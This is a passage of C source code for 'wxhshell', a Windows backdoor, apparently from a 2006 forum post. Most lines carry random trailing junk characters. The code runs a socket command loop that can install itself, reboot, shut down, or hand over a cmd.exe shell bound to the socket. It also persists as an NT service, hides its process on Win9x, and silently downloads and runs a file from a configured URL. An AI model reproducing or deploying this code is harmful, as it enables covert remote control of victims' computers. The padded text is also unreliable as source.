  // 帮助 C({r1l4[D  
  case '?': { hEA;5-m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {rzvZ0-j}  
    break; `$Y%c1;  
  } <64#J9T^  
  // 安装 _&RGhA  
  case 'i': { fP/;t61Z  
    if(Install()) w&>*4=^a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #OwxxUeZ  
    else wCEcMVT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n+1`y8dy  
    break; )tx2lyY:  
    } @;X#/dZe  
  // 卸载 d-jZ5nl(  
  case 'r': { "9#hk3*GqX  
    if(Uninstall()) ) S-Fuq4i4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :0kKw=p1R  
    else 2Mu3] 2>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {^Rr:+  
    break; ;qs^+  
    } >-j( [%  
  // 显示 wxhshell 所在路径 TPA*z9n+B  
  case 'p': { [M2xF<r6t  
    char svExeFile[MAX_PATH]; |F +n7  
    strcpy(svExeFile,"\n\r"); _LFABG=  
      strcat(svExeFile,ExeFile); i8!err._  
        send(wsh,svExeFile,strlen(svExeFile),0); XZ"oOE0=  
    break; Jow{7@FG  
    } Q">wl  
  // 重启 7|k2~\@q  
  case 'b': { c1xX)cF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K_fJ{Vc>O  
    if(Boot(REBOOT)) Flaqgi/j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \rY\wa  
    else { e> Dux  
    closesocket(wsh); E%?> %h  
    ExitThread(0); Xdh@ ^`  
    } ;;N#'.xD  
    break; jfYM*%  
    } 5`QfysR5  
  // 关机 kyf(V)APPu  
  case 'd': { `( 'NH]^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l%qfaU2  
    if(Boot(SHUTDOWN)) Ckhw d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AZ SaI  
    else { ,x utI  
    closesocket(wsh); MhjIE<OI=  
    ExitThread(0); C'PHbo:  
    } lNMJcl3  
    break; 2RdpVNx\y  
    } tILnD1q  
  // 获取shell CdKs+x&tZ  
  case 's': { TA+#{q+a  
    CmdShell(wsh); "?6R"Vk?:  
    closesocket(wsh); 3}B-n!|*  
    ExitThread(0); OI:T#uk5  
    break; 4{h^O@*g  
  } |M EJ)LE7  
  // 退出 @h\i<sh!^  
  case 'x': { E)]emeG d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _8 l=65GW  
    CloseIt(wsh); -|P7e  
    break; ;\]DZV4?)r  
    } [6?x 6_M  
  // 离开 1pqYB]*u_  
  case 'q': { X*a7`aL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $#_^uWN-M  
    closesocket(wsh); bd3>IWihp  
    WSACleanup(); qnzNJ_ `R  
    exit(1); Q'[~$~&`  
    break; ?sxf_0*  
        } I.o3Old  
  } &-x/c\jz  
  } n.A*(@noe  
xOZvQ\%  
  // 提示信息 Q;@w\_ OR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  HS|x  
} xEB 4oQ5  
  } v%QC p  
G }M!  
  return; Lve$H(GHT  
} BbI),iP  
}dSFv   
// shell模块句柄 Y5TBWcGU%  
int CmdShell(SOCKET sock) ZRUAw,T*  
{ 4VzSqb  
STARTUPINFO si; tfv@ )9  
ZeroMemory(&si,sizeof(si)); fVq,?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XX *f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0qBXL;sE  
PROCESS_INFORMATION ProcessInfo; x!onan  
char cmdline[]="cmd"; .>'J ^^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %Ip=3($Ku[  
  return 0; /Wy9 ".  
} (; Zl  
ltd'"J/r  
// 自身启动模式 l4OPzNc'  
int StartFromService(void) *}LQZFrnX  
{ _K~?{".  
typedef struct +*RpOtss  
{ bL5dCQxty  
  DWORD ExitStatus; S1!_ IK$m  
  DWORD PebBaseAddress; %;`3I$  
  DWORD AffinityMask; V{0V/Nv  
  DWORD BasePriority; -Q!?=JNtQ  
  ULONG UniqueProcessId; ezd@>(hJ  
  ULONG InheritedFromUniqueProcessId; Kw>gg  
}   PROCESS_BASIC_INFORMATION; E} ]SGU"  
_xdttO^N  
PROCNTQSIP NtQueryInformationProcess; ;~s@_}&  
73M;-qnU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *kDV ^RBfq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q1 vse  
6:\z8fYD  
  HANDLE             hProcess; [92bGR{  
  PROCESS_BASIC_INFORMATION pbi; 98WJ"f_ #  
!v3wl0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wJF$<f7P  
  if(NULL == hInst ) return 0; UOI Z8Po  
<7X+-%yb;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *tT5Zt/&Sr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); St1>J.k_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c{f1_qXN  
i4 tW8 Il  
  if (!NtQueryInformationProcess) return 0; 5?|PC.  
.T*7nw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $w<~W1\:  
  if(!hProcess) return 0; }Z\+Qc<<  
UmQ'=@^kR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZP%Bu2xd  
WTh|7&  
  CloseHandle(hProcess); ?/s=E+  
L G9#D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R7By=Y!t  
if(hProcess==NULL) return 0; F~O! J@4]  
bRAf!<3  
HMODULE hMod; dnTXx*I:  
char procName[255]; )5bdWJ>l  
unsigned long cbNeeded; mH3{<^Z6  
>JhIRf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fI0L\^b%  
gClDVO  
  CloseHandle(hProcess); [h2V9>4:  
hO:X\:G  
if(strstr(procName,"services")) return 1; // 以服务启动 e3>k"  
YuDNm}r[  
  return 0; // 注册表启动 ts0K"xmY\c  
} RbNRBK!{  
d_Vwjv&@/"  
// 主模块 xE.=\UzJ  
int StartWxhshell(LPSTR lpCmdLine) S[M\com'  
{ b;Im +9&  
  SOCKET wsl; ("BFI  
BOOL val=TRUE; WJL,L[XC  
  int port=0; P.1iuZ "w  
  struct sockaddr_in door; ]j:Ikb}  
ByZ.!~  
  if(wscfg.ws_autoins) Install(); gf2w@CVF>=  
_E[{7 "3}  
port=atoi(lpCmdLine); *)d|:q3  
_V|'iz9.  
if(port<=0) port=wscfg.ws_port; Cj):g,[a  
o [ %Q&u  
  WSADATA data; ss 3fq}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wh:`4Yw  
`\P:rn95;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y<.F/iaH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D2Go,1  
  door.sin_family = AF_INET; p:ST$ 1 K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P-`^I`r  
  door.sin_port = htons(port); 3B "rI  
U^0vLyqW^5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tm^zo Vi  
closesocket(wsl); 0+:.9*g=k  
return 1; @]#+`pZ4A  
} x{*!"a>  
ddHIP`wb  
  if(listen(wsl,2) == INVALID_SOCKET) { {nOK*7+ "  
closesocket(wsl); T[q-$8U  
return 1; 2i(|?XJ^  
} qc'tK6=jp  
  Wxhshell(wsl); v981nJ>w,  
  WSACleanup(); 7RD` *s  
PvT8XSlTx!  
return 0; D&9j$#9Rh  
*Ucyxpu~$  
} ::T<de7  
6l vx  
// 以NT服务方式启动 @7^#_772  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 16G v? I h  
{ qryt1~Dq  
DWORD   status = 0; 3Ob"r`  
  DWORD   specificError = 0xfffffff; -;`W"&`ss  
^Q:K$!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nLfnikw&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *E)Y?9u"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F<(x z=  
  serviceStatus.dwWin32ExitCode     = 0; .DvAX(2v  
  serviceStatus.dwServiceSpecificExitCode = 0; LMG\jc?,  
  serviceStatus.dwCheckPoint       = 0; M<~F>(wxA  
  serviceStatus.dwWaitHint       = 0; NxX1_d  
N[+dX_h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =;/h{ t  
  if (hServiceStatusHandle==0) return; usTCn3u  
'qd")  
status = GetLastError(); ]VYl Eqe  
  if (status!=NO_ERROR) -% f DfjP  
{ cT0g, ^&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }t-r:R$,  
    serviceStatus.dwCheckPoint       = 0; N~ozyIP,  
    serviceStatus.dwWaitHint       = 0; -5ec8m8  
    serviceStatus.dwWin32ExitCode     = status; Y) t}%62  
    serviceStatus.dwServiceSpecificExitCode = specificError; .CpF0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7:j #1N[p  
    return; `( a^=e5  
  } U;q)01  
'Lw\n O.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ul'G g  
  serviceStatus.dwCheckPoint       = 0; )w` Nkx  
  serviceStatus.dwWaitHint       = 0; XbOL/6V ^[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Mk9 kGP%  
} x/S%NySG  
tQ}gBE63  
// 处理NT服务事件,比如:启动、停止 z*[Z:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j{Fo 6##  
{ 5Q}@Y3 i=  
switch(fdwControl) 2$ rq  
{ y d$37G|n  
case SERVICE_CONTROL_STOP: 2Ls<OO  
  serviceStatus.dwWin32ExitCode = 0; 5y'Yosy:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -oo=IUk  
  serviceStatus.dwCheckPoint   = 0; o_N02l4J)  
  serviceStatus.dwWaitHint     = 0; Ji[w; [qL  
  { g:clSN,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '~cEdGD9H  
  } gPi_+-@  
  return; >lW*%{|b$^  
case SERVICE_CONTROL_PAUSE: J@TM>R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3*TS 4xX  
  break; *j* WE\  
case SERVICE_CONTROL_CONTINUE: [Bh]\I'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D/Wuan?yPN  
  break; z,7^dlT  
case SERVICE_CONTROL_INTERROGATE: o%5bg(  
  break; uSQ*/h-<)0  
}; s?E:]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~z}au"k  
} !T{g& f  
Z%R%D*f@y  
// 标准应用程序主函数 <<1oc{i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =KZ4:d5  
{ Vel;t<1  
u@E M,o  
// 获取操作系统版本 {EUH#':  
OsIsNt=GetOsVer(); IXN4?=)I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M5V1j(URE  
g3XAs@  
  // 从命令行安装 A!kyga6F5  
  if(strpbrk(lpCmdLine,"iI")) Install(); Mt Z(\&~  
QBy*y $  
  // 下载执行文件 D=>^m=?0  
if(wscfg.ws_downexe) { +;Gl>$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~e+w@ lK  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4Dia#1$:J  
} }BrE|'.j'  
gNd J=r4  
if(!OsIsNt) { YeLOd  
// 如果时win9x,隐藏进程并且设置为注册表启动 Sv@p!-m  
HideProc(); h'x~"k1  
StartWxhshell(lpCmdLine); }(K6 YL  
} hI8C XG  
else g4 X,*H  
  if(StartFromService()) #U}U>4'  
  // 以服务方式启动 d/>,U7eS[+  
  StartServiceCtrlDispatcher(DispatchTable); ?Q3~n^  
else J":9  
  // 普通方式启动 @;}H<&"  
  StartWxhshell(lpCmdLine); }$1 ;<  
Ag6 (  
return 0; }6> J   
}
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只看该作者 1 发表于: 2006-10-10
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